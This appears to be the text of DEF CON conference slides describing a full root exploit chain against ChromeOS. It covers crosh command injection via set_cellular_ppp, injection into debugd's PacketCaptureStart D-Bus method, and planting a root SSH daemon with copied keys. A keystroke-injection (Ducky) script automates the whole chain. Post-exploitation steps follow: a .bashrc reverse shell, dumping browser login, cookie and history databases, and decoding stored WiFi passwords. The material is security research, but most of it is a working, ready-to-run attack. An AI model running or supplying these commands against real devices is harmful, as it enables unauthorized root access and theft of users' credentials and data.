Find User & Group IDs in /etc/passwd & /etc/group and 
access desired inmate with the following commands:

nobody

adm

daemon

bin cups

SEARCHING FOR ROOT?

debugd

/sbin/minijail0 -I -U -m -u UID -g GID -M -- /bin/sh
/sbin/minijail0 -I -U -m’0 UID 1’ -M -- /bin/bash
/sbin/minijail0 -I -U -m -M -- /bin/dash

NOT ROOT.

I have no name!



 

VISITING YOUR CELL MATES II WHERE IS ROOT?

NOT ROOT.



ROOT? IS THAT YOU?

This UID=0 user appears to be an imposter 
from the minijail container (and is mapped 
to ‘Chronos’ outside the minijail). This is not 
our TRUE ROOT USER! There must be some 
way to get our TRUE ROOT out of jail. Maybe 
we could arrange a Prisoner Exchange?!

1. Start a minijail instance, running /bin/bash as ‘root’:
crosh> set_cellular_ppp '`/sbin/minijail0$IFS-I$IFS-U$IFS-m$IFS-M$IFS/bin/bash$IFS1>&2`'

2. Upgrade the root user of the container to the host:
localhost / # su -

uid=0  gid=0  groups=0,65534 (nobody)

NOT ROOT.  : (



1. Start a minijail instance, running /bin/bash as ‘root’:
crosh> set_cellular_ppp '`/sbin/minijail0$IFS-I$IFS-U$IFS-m$IFS-M$IFS/bin/bash$IFS1>&2`'

2. Upgrade the ‘root’ user of the container:
localhost / # su -



DBus Introspect
dbus-daemon --introspect
initctl list

Configs & Services
/etc/dbus-1 & /usr/share/dbus-1
cat /etc/dbus-1/session.conf
cat /etc/dbus-1/system.conf
cat /usr/share/dbus-1/session.conf
cat /usr/share/dbus-1/system.conf 

/etc/dbus-1/system.d/*.conf
grep -ira ‘policy user=”root”’ *
grep -ira ‘policy user=”chronos”’ *
grep -ira ‘policy user=”shill-scripts”’ *

/usr/share/dbus-1/system-services
ls -al /usr/share/dbus-1/system-services
cat /usr/share/dbus-1/system-services/*

Get MachineID
/cat /var/lib/dbus/machine-id
/usr/bin/dbus-uuidgen –get
cat /etc/machine-id

SEARCHING THE DBUS SYSTEM

DBus Monitoring
dbus-monitor –system
gbus monitor –system –dest org.chromium.flimflam
dbus-monitor –system –type=signal,sender=org.bluez
dbus-monitor –system destination=org.bluez sender=org.bluez
dbus-monitor –system –type=signal,sender=org.chromium.PowerManager



ENUMERATING THE DBUS QUICK BASH SCRIPTING



GDBUS MONITORING INTROSPECTION

https://chromium.googlesource.com/chromiumos/docs/+/master/dbus_in_chrome.md
https://chromium.googlesource.com/chromiumos/docs/+/master/dbus_best_practices.md



 

DBUS INTERFACE EXPLORATION STILL SEARCHING FOR ROOT.

Method & Signal Exploration
dbus-send –system –dest=org.freedesktop.Dbus –type=method_call –print-reply /org/freedesktop/Dbus org.freedesktop.DBus.Introspectable.Introspect
dbus-send --system --print-reply --dest=org.freedesktop.Avahi /org/freedesktop/Avahi   org.freedesktop.DBus.Introspectable.Introspect
dbus-send –system –dest=org.freedesktop.Dbus –type=method_call –print-reply /org/freedesktop/Dbus org.freedesktop.DBus.ListNames
dbus-send –system –dest=org.freedesktop.Dbus –type=method_call –print-reply /org/freedesktop/Dbus org.freedesktop.DBus.ListActivatableNames
dbus-send –system –dest=org.freedesktop.Dbus –type=method_call –print-reply /org/freedesktop/Dbus org.freedesktop.DBus.GetId
dbus-send --system --dest=org.bluez --type=method_call --print-reply  / org.freedesktop.DBus.ObjectManager.GetManagedObjects
dbus-send --system --print-reply --dest=org.chromium.Cryptohome /org/chromium/Cryptohome org.chromium.CryptohomeInterface.GetSanitizedUsername string:$1



 

DBUS COMMAND INJECTION I “PACKET” CAPTURING
dbus-send --system --fixed --print-reply --dest=org.chromium.debugd /org/chromium/debugd org.chromium.debugd.PacketCaptureStart fd:1 fd:1 dict:string:variant:device,string:wlan0

dbus-send --system --fixed --print-reply --dest=org.chromium.debugd /org/chromium/debugd org.chromium.debugd.PacketCaptureStart fd:1 fd:1 dict:string:variant:device,string:lo,ht_location,string:FUZZME!

dbus-send --system --fixed --print-reply --dest=org.chromium.debugd /org/chromium/debugd org.chromium.debugd.PacketCaptureStart fd:1 fd:1 dict:string:variant:device,string:lo,ht_location,string:reboot



 

DBUS COMMAND INJECTION II TTYS GONE WILD!

Using the “/usr/bin/ex” command we can impersonate ROOT via DBUS!

Parameter:
--ht-location ex

Results in process:
ex != below ]



 

FULL ATTACK PATH TO ROOT WE’VE GOT ROOT!

# mkdir /home/chronos/.ssh ; ssh-keygen -f /var/tmp/ssh_host_rsa_key -N '' -t rsa >/dev/null
# cd /var/tmp;openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -batch
# echo "AuthorizedKeysFile /usr/share/chromeos-ssh-config/keys/id_rsa.pub" > /var/tmp/sshd_config
# echo "StrictModes no" >> /var/tmp/sshd_config
# echo "HostKey /var/tmp/ssh_host_rsa_key" >> /var/tmp/sshd_config
# echo "Port 22" >> /var/tmp/sshd_config
# dbus-send --system --fixed --print-reply --dest=org.chromium.debugd /org/chromium/debugd 
org.chromium.debugd.PacketCaptureStart fd:1 fd:1 dict:string:variant:device,string:lo,ht_location,string:ex;sh;sh
# sh
$ sh
# /usr/sbin/sshd -f /var/tmp/sshd_config > /var/tmp/sshexec ;cp /usr/share/chromeos-ssh-config/keys/id_rsa*
$ /usr/sbin/sshd -f /var/tmp/sshd_config > /var/tmp/sshexec ;cp /usr/share/chromeos-ssh-config/keys/id_rsa*
# /home/chronos/.ssh/ ; chown chronos:chronos /home/chronos/.ssh/* ; chmod 600 /home/chronos/.ssh/* 
$ /home/chronos/.ssh/ ; chown chronos:chronos /home/chronos/.ssh/* ; chmod 600 /home/chronos/.ssh/* 
# /sbin/iptables -A INPUT -p tcp --dport 22 -j ACCEPT
$ /sbin/iptables -A INPUT -p tcp --dport 22 -j ACCEPT



 

# ssh -p 22 -i /home/chronos/.ssh/id_rsa root@localhost



UID/GID=0
HOME=/root
SHELL=/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:
  /usr/local/sbin:/usr/local/bin;/opt/bin



 

THE MASTER KEY I



 

THE MASTER KEY II



 

THE MASTER KEY III



 

THE MASTER KEY IV

STRING set_cellular_ppp '`bash$IFS1>&2`'
ENTER
STRING dbus-send --system --fixed --print-reply --dest=org.chromium.debugd /org/chromium/debugd org.chromium.debugd.PacketCaptureStart fd:1 fd:1 dict:string:variant:device,string:lo,ht_location,string:ex;sh;sh
DELAY 150
ENTER
STRING sh
DELAY 350
ENTER
DELAY 350
STRING sh
DELAY 1000
STRING /usr/sbin/sshd -f /var/tmp/sshd_config > /var/tmp/sshexec ;cp /usr/share/chromeos-ssh-config/keys/id_rsa* /home/chronos/.ssh/ ; chown chronos:chronos /home/chronos/.ssh/* ; chmod 600 /home/chronos/.ssh/* 
DELAY 100
ENTER
DELAY 200
STRING /usr/sbin/sshd -f /var/tmp/sshd_config > /var/tmp/sshexec ;cp /usr/share/chromeos-ssh-config/keys/id_rsa* /home/chronos/.ssh/ ; chown chronos:chronos /home/chronos/.ssh/* ; chmod 600 /home/chronos/.ssh/*

CTRL ALT t
DELAY 3500
STRING set_cellular_ppp '`bash$IFS1>&2`'
ENTER
DELAY 1000
STRING mkdir /home/chronos/.ssh
ENTER
DELAY 1000
STRING ssh-keygen -f /var/tmp/ssh_host_rsa_key -N '' -t rsa >/dev/null
ENTER
DELAY 2000
STRING cd /var/tmp;openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -batch
ENTER
DELAY 3500
STRING echo "AuthorizedKeysFile /usr/share/chromeos-ssh-config/keys/id_rsa.pub" > /var/tmp/sshd_config
ENTER
STRING echo "StrictModes no" >> /var/tmp/sshd_config
ENTER
STRING echo "HostKey /var/tmp/ssh_host_rsa_key" >> /var/tmp/sshd_config
ENTER
STRING echo "Port 22" >> /var/tmp/sshd_config
ENTER



MORE LEVEL UPS!
[+]  Inject reverse shell into ‘chronos’ .bashrc!
[+]  Exfiltrate, tamper, & inject into SQLite DB files
[+]  Re-package firmwares, mounts, & files?
[+]  Cookie Baking! Phishing! Lulz?!
[+]  Enumerating “chrome://”
[+]  Enumerating “file://”

Find & Decrypt WIFI Password:
grep -ira Passphrase /var/cache/shill/default.profile
echo > PASSPHRASE | tr ‘!-~’ ‘P-~!-O’

Bluetoothctl & BLE Scanning: Firmware Update:
chromeos-firmwareupdate –mode=todev

stop powerd (allows persistent reverse shells 
when the Chromebook lid is closed!)

Stopping powerd:



Dump table data from the DBs:
1. cp History History-lrl
    sqlite3 History-lrl
    .dump

2. sqlite3 ‘Login Data’
    .dump

3. sqlite3 ‘Network Action Predictor’
    .dump

4. sqlite3 Cookies
    .dump

5. sqlite3 ‘Web Data’
    .dump

https://www.coalfire.com/the-coalfire-blog/epic-holiday-cookie-baking

“If the cookie we want to write exists already, we can just delete it 
first and then inject ours into the cookie jar.”



List Available URLs:    chrome://about
Find Available URLs:   grep -Eoira ‘(chrome)://[^/”]+’ 2>/dev/null

Network Action Predictor:
Type one (1) letter at a time after “chrome://” to see all URLs

chrome://
URL Discovery



UI  FILESYSTEM ACCESS
file:///dir/filename.ext

Collect All Dirs/Files:   find / > /tmp/allfiles.txt

Fuzz Chrome for URLs:   fuzzy ducky / picoducky
(Visit URL, Create screenshot, Repeat for all URLs)



Avahi-Daemon GFY!
1. Locate ‘avahi-daemon’ socket in /run/avahi-daemon

2. Connect to socket using:

curl –unix-socket socket http://localhost

3. Receive error guiding us to use the ‘HELP’ command (using HTTP verb):

curl –unix-socket socket http://localhost -X HELP

4. Additional commands are provided. Google search reveals the Github 
repository, and a quick source code review reveals…

        if (strcmp(cmd, “FUCK”) == 0 && n_args == 1)

https://github.com/lathiat/avahi/blob/master/avahi-daemon/simple-protocol.cR.I.P. Ray Liotta (1954 - 2022)



Jimi Allee (jimi2x)
Lost Rabbit Labs (CEO)
allee@lostrabbitlabs.com
@jimi2x303

Thank you D3FC0N!


